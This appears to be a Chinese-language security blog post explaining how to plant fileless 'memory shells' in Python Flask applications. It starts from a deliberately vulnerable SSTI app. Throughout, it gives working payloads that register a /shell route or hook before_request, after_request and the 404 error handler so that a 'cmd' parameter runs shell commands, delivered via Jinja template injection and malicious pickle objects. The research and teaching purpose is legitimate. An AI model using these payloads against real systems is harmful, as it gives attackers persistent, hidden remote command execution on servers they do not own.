前言
年轻人学的第一个内存马,竟然不是java(
看大伙好像前几个月都在研究这个,学一下,顺带复健一下,已经摸了两周🐟了
参考:
https://github.com/iceyhexman/flask_memory_shell
http://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/
https://www.cnblogs.com/gxngxngxn/p/18181936
先准备一个Flask SSTI漏洞环境:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
person = 'guest'
if request.args.get('name'):
person = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person
return render_template_string(template)
if __name__ == "__main__":
app.run(debug=False)
debug模式下不出网回显
在debug模式下,报错会带出详细信息,debug模式常见的考点有算pin码进console来命令执行
其实我们也可以通过手动报错raise Exception()
的方式来让我们的命令回显
payload:
{{url_for.__globals__['__builtins__']['exec']("raise Exception(__import__('os').popen('whoami').read())")}}
接下来关闭debug模式,开始研究🐎
低版本内存马
payload:
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
因为懒得搞低版本的flask了,这里对payload里的关键部分稍微分析一下就过了
在eval中,执行了这样一个东西:
"
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
很明显,这里调用了Flask对象的add_url_rule
方法
add_url_rule
在Flask中注册路由是使用@app.route()
装饰器来实现的,看一下其源码实现:
可以看到这里用了add_url_rule
来添加路由,这几个参数的说明:
- rule:函数对应的URL规则,满足条件和 app.route() 的第一个参数一样,必须以
/
开头; - endpoint:端点,即在使用 url_for() 进行反转的时候,这里传入的第一个参数就是 endpoint 对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为 endpoint 的值;
- view_func:URL对应的函数(注意,这里只需写函数名字而不用加括号),下面的图对照的就是
def home()
; - provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False;
- options:要转发到基础规则对象的选项。Werkzeug 的一个变化是处理方法选项。方法是此规则应限制的方法列表(GET、POST等)。默认情况下,规则只侦听 GET(并隐式地侦听HEAD)
对照一下payload,可以知道这里添加了一条路由,处理该路由的函数是个由lambda关键字定义的匿名函数
获取app上下文
低版本中_request_ctx_stack
_request_ctx_stack
是Flask的一个全局变量,是一个LocalStack实例
Flask请求上下文管理机制:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为
_request_ctx_stack
的栈结构中
也就是说获取当前的请求上下文等同于获取_request_ctx_stack
的栈顶元素_request_ctx_stack.top
,这里等价于获取了<Flask 'app'>
那么_request_ctx_stack.top.request.args.get('cmd', 'whoami')
就能获取cmd参数
sys.modules
url_for.__globals__['sys'].modules['__main__'].__dict__['app']
url_for.__globals__['sys'].modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
新版内存马
测试版本:Flask 2.2.0
不知道从哪个版本开始,flask不再支持在程序运行的过程中通过add_url_rule
添加路由
那就得另辟蹊径了
这里可以利用@app.before_request
或者@app.after_request
这两个底层函数来打
接下来先以下面这个路由进行测试:
@app.route('/e')
def e():
a = eval(request.args.get('cmd'))
if a :
return "1"
else:
return "0"
before_request
在 Flask 中,
before_request
是一个装饰器,它用于在请求处理之前执行特定的函数。这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等
from flask import Flask, request
app = Flask(__name__)
@app.before_request
def test():
if not request.headers.get("Authorization"):
return "Unauthorized", 401
像上面这个demo就是检测请求 headers 有无 Authorization 字段来实现身份认证
跟进一下这个装饰器
可以看到这里实际上调用的是
self.before_request_funcs.setdefault(None, []).append(f)
作用是:
- 检查
self.before_request_funcs
字典中是否有一个键为None
的条目。 - 如果没有
None
键,就在字典中创建它,并将其值设置为一个空列表。 - 然后,无论
None
键是否存在,都将函数f
添加到这个列表中。
那么这个f
就是我们添加的函数了,于是我们同样可以自定义一个 lambda 函数,这样在每次发起请求前就都会触发了
于是可以构造我们的payload:
app.before_request_funcs.setdefault(None, []).append(lambda: "123")
第一次写入进去,之后所有的访问请求都会返回123
不过弊端也很明显,使用lambda必然会得到一个返回值,那么服务后续的操作都无法进行,会影响到主机的正常业务
after_request
和 before_request 相反,after_request
会在请求结束得到响应包之后进行操作
和前面那个一样,唯一要注意的是这个需要定义一个返回值,不然就会报错
构造payload:(注意,在本人的测试版本上需要提前在代码中导入对应的包才可打入payload)
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)
函数的内容为:
lambda resp: # 传入参数
CmdResp if request.args.get('cmd') and # 如果请求参数含有cmd则返回命令执行结果
exec('
global CmdResp; # 定义一个全局变量,方便获取
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) # 创建一个响应对象
')==None # 恒真
else resp) # 如果请求参数没有cmd则正常返回
# 这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务
打入后就getshell了
其它的钩子
都是gxngxngxn师傅找到的,tql
teardown_request
:跟前面after_request
的类似,payload也通用,改个调用的底层函数名就行,但是无回显。。
error_handler_spec
该函数用于自定义404页面的回显
@app.errorhandler(404)
def errortest(e):
print('error_handler(404)')
print(e)
return '404 Err0r'
跟进这个装饰器的底层逻辑
发现眼熟的东西,当然按照旧版内存马的方式直接调用register_error_handler
同样是不行的
但是值得注意的是,这里传入register_error_handler
的参数有code_or_exception
和f
f
依旧是我们可控的函数,那么接下来就是要构造code_or_exception
使得code
和exc_class
也可控,在前面code_or_exception
的值为404
跟进一下_get_exc_class_and_code
那这还构造个啥,直接_get_exc_class_and_code(404)
,这样就能返回常规的变量了
payload:
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")
_got_first_request
将_got_first_request这个判断置成false即可调用add_url_rule
ssti利用
考虑到上下文没有导入包的情况
注:部分flask版本下无法使用url_for.__globals__['current_app']
来获取app,因此这里改用sys.modules
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
{{url_for.__globals__['__builtins__']['eval']("exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
pickle利用
import os
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
import os
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))